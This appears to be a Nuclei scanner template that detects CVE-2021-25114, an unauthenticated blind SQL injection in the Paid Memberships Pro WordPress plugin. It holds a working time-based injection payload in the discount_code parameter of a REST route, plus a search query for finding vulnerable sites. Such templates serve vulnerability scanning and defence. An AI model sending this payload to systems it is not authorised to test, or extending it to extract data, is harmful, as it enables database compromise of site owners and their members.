id: CVE-2021-25114

info:
  name: Paid Memberships Pro < 2.6.7 - Unauthenticated Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not escape the discount_code in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection.
  reference:
    - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
    - https://wordpress.org/plugins/paid-memberships-pro/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25114
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25114
    cwe-id: CWE-89
  metadata:
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
    verified: "true"
  tags: wp-plugin,wp,sqli,paid-memberships-pro,wpscan,cve,cve2021,wordpress

requests:
  - raw:
      - |
        @timeout: 15s
        GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration_1>=6
          - contains(all_headers_1, "application/json")
          - status_code == 200
          - contains(body_2, 'other_discount_code_')
        condition: and